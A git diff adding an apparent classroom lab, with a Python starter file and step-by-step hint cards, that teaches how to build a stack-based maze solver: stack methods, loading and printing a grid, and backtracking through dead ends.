+3
+
+### gems
+12
+
+## 5-1
+
+### name
+Move Cursor
+
+### order
+1
+
+### gems
+30
+
+## 6-1
+
+### name
+Main
+
+### order
+1
+
+### gems
+15
+
+## 1-1-1
+
+### name
+__init__ and Push
+
+### order
+1
+
+### gems
+14
+
+## 1-2-1
+
+### name
+Class Variable, Class Method, Stack Manipulation
+
+### order
+1
+
+### gems
+14
+
+## 1-3-1
+
+### name
+isFull() & isEmpty()
+
+### order
+1
+
+### gems
+14
+
+## 2-1-1
+
+### name
+Initialize 2D Array
+
+### order
+1
+
+### gems
+18
+
+## 2-2-1
+
+### name
+Initialize 2D Array
+
+### order
+1
+
+### gems
+18
+
+## 3-1-1
+
+### name
+Print Grid
+
+### order
+1
+
+### gems
+18
+
+## 4-1-1
+
+### name
+While Loop Explained
+
+### order
+1
+
+### gems
+24
+
+## 4-2-1
+
+### name
+Check Dead End
+
+### order
+1
+
+### gems
+24
+
+## 4-2-2
+
+### name
+Check Dead End Explained
+
+### order
+2
+
+### gems
+24
+
+## 4-3-1
+
+### name
+Four Directions Explained
+
+### order
+1
+
+### gems
+24
+
+## 5-1-1
+
+### name
+Move Cursor
+
+### order
+1
+
+### gems
+60
+
+## 6-1-1
+
+### name
+Main
+
+### order
+1
+
+### gems
+30
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/Student-Starter/MazeSolver_starter.py b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/Student-Starter/MazeSolver_starter.py
new file mode 100644
index 00000000..0c477fb4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/Student-Starter/MazeSolver_starter.py
@@ -0,0 +1,46 @@
+ROWS = 30
+COLUMNS = 100
+import time
+import os
+from ctypes import *
+
+STD_OUTPUT_HANDLE = -11
+
+
+class COORD(Structure):
+ pass
+
+
+COORD._fields_ = [("X", c_short), ("Y", c_short)]
+
+
+class Stack:
+ pass
+
+
+def loadFile(fileName): # load grid from file and return as pointer to
+ return 'TO-DO'
+
+
+# pointer to grid as parameter
+def printGrid(grid):
+ return 'TO-DO'
+
+
+def gotoxy(x, y): # function to show cursor position on screen
+ return 'TO-DO'
+
+
+def inArray(rowCheck, columnCheck, arrSize, r, c): # check if a point on
+ return 'TO-DO'
+
+
+def solveMaze(maze):
+ return 'TO-DO'
+
+
+def main():
+ return 0
+
+
+main()
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1-1.md
new file mode 100644
index 00000000..dfc0eb75
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1-1.md
@@ -0,0 +1,49 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-1-1 Step 1
+
+### name
+```
+Define the constructor
+```
+
+### md_content
+```
+Define `__init__` as the following:
+
+```python
+self.index = -1
+self.arr = [None] * ROWS * COLUMNS
+```
+
+In order to repersent each location we need to specify it's rows and columns. A 2D array allow us to do this as it will keep track of both information.
+
+Here, we have a maze map which has 30 rows and 100 columns. So, we are creating a 2D array that is 30 by 100.
+
+Note : ROWS and COLUMNS are defined as global variables.
+
+```python
+ROWS = 30
+COLUMNS = 100
+```
+```
+```
+
+## 1-1-1 Step 2
+
+### name
+```
+Define `push` as the following
+```
+
+### md_content
+```
+```python
+self.index = self.index +1
+self.arr[self.index] = a
+```
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1.md
new file mode 100644
index 00000000..4413915d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-1.md
@@ -0,0 +1,31 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-1 Step 1
+
+### name
+```
+Init Function
+```
+
+### md_content
+```
+Initialize the class by defining two class variables `index` and `arr`. Note that `arr` is the `stack`, and `index` is pointing at the top of the stack, so it should be initialized to -1, since we don't have any item on the stack yet.
+```
+
+## 1-1 Step 2
+
+### name
+```
+Push Function
+```
+
+### md_content
+```
+The function `push` will first push the item onto the stack, then increment the index, updating the location of the top of the stack.
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2-1.md
new file mode 100644
index 00000000..9c41c60d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2-1.md
@@ -0,0 +1,43 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-2-1 Step 1
+
+### name
+```
+Implementing the Pop Function
+```
+
+### md_content
+```
+Define `pop` as the following:
+
+```python
+self.index = self.index - 1
+return self.arr[self.index + 1]
+```
+```
+
+ Decrements the index, and returns the one that was deleted.
+
+We don't have to actually erase the value, because the only time when index will increment again is `push`. At `push` we will write over the old value with a new value.
+```
+
+## 1-2-1 Step 2
+
+### name
+```
+Implementing the Top Function
+```
+
+### md_content
+```
+Define `top` as the following:
+
+```python
+return self.arr[self.index]
+```
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2.md
new file mode 100644
index 00000000..dedba875
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-2.md
@@ -0,0 +1,31 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-2 Step 1
+
+### name
+```
+Pop Function
+```
+
+### md_content
+```
+The function `pop` deletes the item on top of the stack, by decrementing the `index` , and returns the value of the item deleted.
+```
+
+### image
+
+
+## 1-2 Step 2
+
+### name
+```
+Top Function
+```
+ss
+### md_content
+```
+The function `top` returns the value at the top of the stack without deleting anything.
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3-1.md
new file mode 100644
index 00000000..e4ceed08
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3-1.md
@@ -0,0 +1,64 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-3-1 Step 1
+
+### name
+```
+isFull Function
+```
+
+### md_content
+```
+We can use the index to keep track of the size of the stack. Keep in mind that we defined the first element to be at index 0 before. if there is only one item, the size should be (index+1) which is (0+1). Thus, when we use index to check the size of the stack we always do index + 1 to get the size.
+
+Here, we want to check whether the stack is full, which is the same as checking is the size of the stack equal to row*columns.
+
+Define `isFull` :
+
+```python
+return ((self.index + 1) == ROWS*COLUMNS if True else False) #shorthand notation
+```
+
+Another way of doing this is:
+
+```python
+if ((self.index + 1) == ROWS*COLUMNS): #check whether the number of items is equal to the size of the stack
+ return True
+else:
+ return False
+```
+```
+```
+
+## 1-3-1 Step 2
+
+### name
+```
+isEmpty Function
+```
+
+### md_content
+```
+We also need a `isEmpty` function to check whether the stack is empty. It's just checking whether the size is equal to 0. As we discussed above the size of the stack is equal to index +1. Here index + 1 should be equal to 0 if it's empty. It's the same as the index is -1 if it's empty.
+
+Another way to define this function is to think about how we defined the `__init__` . We defined it to be at index -1 when it's empty.
+
+Define `isEmpty` :
+
+```python
+return (self.index == -1 if True else False) #shorthand notation
+```
+
+It's the same as doing the following
+
+```python
+if (self.index == -1): #There is no item in the stack
+ return True
+else:
+ return False
+```
+```
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3.md
new file mode 100644
index 00000000..937107cf
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1-3.md
@@ -0,0 +1,19 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 1-3 Step 1
+
+### name
+```
+isEmpty and isFull
+```
+
+### md_content
+```
+Think about under what circumstances is the stack full, and under what circumstances is the stack empty?
+
+Hint: Does it depend on `index`?
+```
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1.md
new file mode 100644
index 00000000..0bf8b1ca
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/1.md
@@ -0,0 +1,29 @@
+In this lab, we will be writing a Maze Solver using Stack as our data structure.
+
+In this Maze Solver, our cursor is represented as X, and it will visit all the branches until it finally finds exit!
+
+
+
+When an exit is found, the program will print Done! :)
+
+
+
+As a reminder, a stack is an ordered collection of items where addition and removal always takes place at the top of the stack. Think about a stack of plates in a café, you always take the top plate which is the last one added to the stack.
+
+Our first task is to write a class `Stack`.
+
+We will have the following methods in our class:
+
+> `__init__` : initialize two class variables, index and arr. `index` keeps track of the location of the top of the stack, and `arr` is the stack.
+>
+> `push`: takes in parameter `a` and put it on the top of the stack.
+>
+> `pop`: delete the item on top of the stack and return its value.
+>
+> `top`: return value at the top of stack
+>
+> `isFull`: check if stack is full
+>
+> `isEmpty`: check if stack empty
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1-1.md
new file mode 100644
index 00000000..6249ab16
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1-1.md
@@ -0,0 +1,39 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 2-1-1 Step 1
+
+### name
+```
+Initializing 2D Array
+```
+
+### md_content
+```
+There is an elegant way to initialize a 2D array in one line, and that is:
+
+```python
+w, h = COLUMNS, ROWS
+grid = [[0 for x in range(w)] for y in range(h)]
+```
+
+`0` is the item `for x in range(w)`.
+
+`[0 for x in range(w)]` is the item `for y in range(h)`.
+
+This is the same as doing the following
+
+```python
+w = COLUMNS
+h = ROWS
+grid = []
+for y in range(h):
+ row = []
+ for x in range(w):
+ row.append(0)
+ grid.append(row)
+```
+```
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1.md
new file mode 100644
index 00000000..35805e2a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-1.md
@@ -0,0 +1,16 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 2-1 Step 1
+
+### name
+```
+Use a Nested for Loop
+```
+
+### md_content
+```
+In our `loadFile(fileName)`function, first let us use two for loops to initialize a 2D array filled with zero.
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2-1.md
new file mode 100644
index 00000000..164d43bd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2-1.md
@@ -0,0 +1,82 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 2-2-1 Step 1
+
+### name
+```
+Read the Data
+```
+
+### md_content
+```
+Before writing the file to array. Open `fileName`, and read in the data.
+
+```python
+with open(fileName, 'r') as file:
+ data = file.readlines()
+```
+```
+```
+
+## 2-2-1 Step 2
+
+### name
+```
+Store the Data in our 2D Array (Matrix)
+```
+
+### md_content
+```
+Then, iterate through all the lines in the data and all the words in the line.
+
+Decipher what each number represent and store them correspondingly to our matrix, representing the map/grid.
+
+```python
+ i = 0
+ j = 0
+ for line in data: #we iterate line by line
+ j = 0
+ for word in line: #we iterate each word in that line
+ grid[i][j] = word
+ #blank if '0'
+ if grid[i][j] == '0':
+ grid[i][j] = 32
+ #wall if '1'
+ elif (grid[i][j] == '1'):
+ grid[i][j] = 9608
+ #door (dotted wall) if '3'
+ elif (grid[i][j] == '3'):
+ grid[i][j] = 9618
+ j = j + 1
+ if j == COLUMNS:
+ break
+ i = i + 1
+ if i == ROWS:
+ break
+```
+
+Here we use a `for loop` inside another `for loop` since we want to iterate all the data. We iterate very word in the line than go to the next line iterate all the words in that line.
+
+Recall that we are storing the Unicode of the blanks, walls, and exit. Store blanks as 32, walls as 9608, and 9618 as exit, if you want to follow the sample program. But feel free to customize your graphic by your choice of Unicode.
+```
+```
+
+## 2-2-1 Step 3
+
+### name
+```
+Close the File
+```
+
+### md_content
+```
+At last, close the file and return the grid.
+
+```python
+ file.close()
+ return grid
+```
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2.md
new file mode 100644
index 00000000..141aef65
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2-2.md
@@ -0,0 +1,40 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 2-2 Step 1
+
+### name
+```
+First Read in the Data
+```
+
+### md_content
+```
+Before writing the file to array. Open `fileName`, and read in the data. Hint: Use ` readlines()`.
+
+Then, iterate through all the lines in the data and all the words in the line.
+```
+
+## 2-2 Step 2
+
+### name
+```
+Store Data into the Array
+```
+
+### md_content
+```
+Decipher what each number represent and store them correspondingly to our matrix, representing the map/grid.
+
+>0 means blank
+>
+>1 means wall
+>
+>3 means exit!
+
+Recall that we should store the Unicode of the blank, walls, and exit. Store blank as 32, wall as 9608, and 9618 as exit, if you want to follow the sample program. But feel free to customize your graphic by your choice of unicode.
+
+At last, close the file and return the grid.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2.md
new file mode 100644
index 00000000..5c402117
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/2.md
@@ -0,0 +1,17 @@
+Now, let's load `maze.txt`, and convert them to a maze map!
+
+Notice how in `maze.txt` all the 1s are walls and 0s are paths, and the exit is 3.
+
+
+
+In this step, write a `loadFile(fileName)`function that loads the file and stores all the variables accordingly into a 2D array that is 30 by 100.
+
+**Hint**: Instead of storing 0, 1, and 3s directly, store the Unicode of the blanks, walls, and exits in the array. We want to store Unicode So we can print graphic using `chr()` later. So in this case, we would store blanks as 32, walls as 9608, and the exit as 9618.
+
+And later, they will result like this :
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1-1.md
new file mode 100644
index 00000000..49627339
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1-1.md
@@ -0,0 +1,41 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 3-1-1 Step 1
+
+### name
+```
+Use the os Module
+```
+
+### md_content
+```
+Import `os` and use `os.system` to set color of the grid if you will of your choice.
+
+```python
+os.system("color 3")
+```
+```
+```
+
+## 3-1-1 Step 2
+
+### name
+```
+Use a for Loop to Print the Grid
+```
+### md_content
+```
+Write a for loop to print grid.
+
+```python
+for r in range(0, ROWS):
+ for c in range(0, COLUMNS):
+ print(chr(grid[r][c]),end="")
+ print(" ")
+```
+
+Note that we only have a newline at the end of row. Python defaults to print a new line with every print statement. So make sure that for every item in a row we are ending with "".
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1.md
new file mode 100644
index 00000000..41fdbb1d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3-1.md
@@ -0,0 +1,25 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 3-1 Step 1
+
+### name
+```
+Import os
+```
+
+### md_content
+```
+Hint: import the `os` module and use `os.system` to set color of the grid if you will.
+The `os` module in python provides functions to interact with the operating system.
+`os.system()` method executes the command (a string) in a subshell.
+This will help print the grid in a specific color.
+
+```python
+os.system("color 3")
+```
+
+To print a grid, simply use a nested for loop.
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3.md
new file mode 100644
index 00000000..12a1a804
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/3.md
@@ -0,0 +1,6 @@
+Now we have our array of stored unicode for graphic, `grid`.
+(32 for space, 9608 for wall and 9618 for exit- refer to "Load File as Map")
+we can now print out our maze!
+
+Write a `printGrid(grid)` function that takes in `grid` and print them out accordingly.
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1-1.md
new file mode 100644
index 00000000..d9243d9a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1-1.md
@@ -0,0 +1,31 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-1-1 Step 1
+
+### name
+```
+Initialize Variables
+```
+
+### md_content
+```
+Declare `curr_row` and `curr_col` to keep track of your current location in the maze.
+
+```python
+curr_row = 1
+curr_col = 0
+```
+
+Recall that the starting location of the maze is (1,0). So our initialization should reflect that.
+
+Recall that maze array contains the Unicode of our maze, therefore, our while loop should look like:
+
+```python
+while maze[curr_row][curr_col] != # your unicode for exit
+```
+
+The Unicode for exit is 9618 in this example, but feel free to customize.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1.md
new file mode 100644
index 00000000..cbc791b3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-1.md
@@ -0,0 +1,20 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-1 Step 1
+
+### name
+```
+While Loop
+```
+
+### md_content
+```
+Let's construct a while loop that keeps looking for the next possible step until the exit is found.
+
+- Declare two variables to keep track of what row and column we are currently at in the matrix. These two variables should update with the position of our cursor.
+
+- Terminate the while loop when we are at exit.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-1.md
new file mode 100644
index 00000000..80b34fe1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-1.md
@@ -0,0 +1,20 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-2-1 Step 1
+
+### name
+```
+Create inArray Function
+```
+
+### md_content
+```
+Write a function `inArray(rowVisited, columnVisited, arrSize, r, c)`that check whether a tile is a dead end or not.
+
+This can be done by simply checking if (curr_row, curr_col) exist in the arrays, `rowVisited` and `columnVisited`.
+
+This function should return a Boolean value.
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-2.md
new file mode 100644
index 00000000..965fc801
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2-2.md
@@ -0,0 +1,24 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-2-2 Step 1
+
+### name
+```
+inArray Function
+```
+
+### md_content
+```
+```python
+def inArray(rowCheck, columnCheck, arrSize, curr_row, curr_col): #check if a point on grid is already visited
+ for i in range(0, arrSize):
+ if (rowCheck[i] == curr_row and columnCheck[i] == curr_col):
+ return True
+ return False
+```
+
+Notice that we can't just simply check for if `curr_row` exists in the array, and if `curr_col` exists in the array. They must exist together (same index).
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2.md
new file mode 100644
index 00000000..4a4e78f6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-2.md
@@ -0,0 +1,24 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-2 Step 1
+
+### name
+```
+Create 2 Array to see Where you have Visited
+```
+
+### md_content
+```
+What if all four directions turns out to be not viable, where should we go?
+
+
+
+If we are at at dead end, then we should back trace, and go out to where we came from.
+
+Declare two arrays `rowVisited` and `colVisited` to store the path that lead to dead ends.
+
+Store our current row index and col index in the dead ends array, and back trace to our last location. We can use the `pop` methods in stack.
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3-1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3-1.md
new file mode 100644
index 00000000..ded6a13e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3-1.md
@@ -0,0 +1,87 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-3-1 Step 1
+
+### name
+```
+Check if the North Tile is Blank
+```
+
+### md_content
+```
+Using North as an example:
+
+```python
+maze[curr_row - 1][curr_col] == 32
+```
+```
+```
+
+## 4-3-1 Step 2
+
+### name
+```
+Check if it is the direction where we just came from
+```
+
+### md_content
+```
+```python
+(curr_row - 1) != rowStack.top()
+```
+```
+```
+
+## 4-3-1 Step 3
+
+### name
+```
+Check if it is a Dead End
+```
+
+### md_content
+```
+inArray(rowVisited, colVisited, ROWS*COLUMNS, curr_row - 1, curr_col)
+```
+
+## 4-3-1 Step 4
+
+### name
+```
+Put them together
+```
+
+### md_content
+```
+```python
+if ((maze[curr_row - 1][curr_col] == 32) and ((curr_row - 1) != rowStack.top()) and not inArray(rowVisited, colVisited, ROWS*COLUMNS, curr_row - 1, curr_col)):
+```
+```
+```
+
+## 4-3-1 Step 5
+
+### name
+```
+Update Location
+```
+
+### md_content
+```
+If the tile pass all the if statement then we have to update our location index as well as `rowStack` and `colStack`, which keep track of where we have been.
+
+ rowStack.push(curr_row)
+ curr_row = curr_row - 1
+ columnStack.push(curr_col)
+Do this for all the directions:
+
+```python
+if #up
+elif #down
+elif #left
+elif #right
+```
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3.md
new file mode 100644
index 00000000..f35882cc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/4-3.md
@@ -0,0 +1,38 @@
+# image_folder
+/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/cards/
+
+# steps
+
+## 4-3 Step 1
+
+### name
+```
+Decide which Direction to go in
+```
+
+### md_content
+```
+Check surrounding tiles to see where could we go next.
+
+There should be three conditions that we should check for:
+
+1. if the tile is blank
+2. if the tile was not most previously visited
+3. if the path of the point did not already lead to a dead end.
+
+Only when the tile satisfied these three conditions, should we set foot on it.
+
+Recall that we have two stacks: `rowStack` and `columnStack` to keep track of the paths that we have taken to get to our current location.
+```
+
+## 4-3 Step 2
+
+### name
+```
+Update Variables
+```
+
+### md_content
+```
+Once we decide to set foot into the next tile, we should push our current location to `rowStack` and `columnStack`, and updates our location index, curr_row and curr_col.
+```
\ No newline at end of file
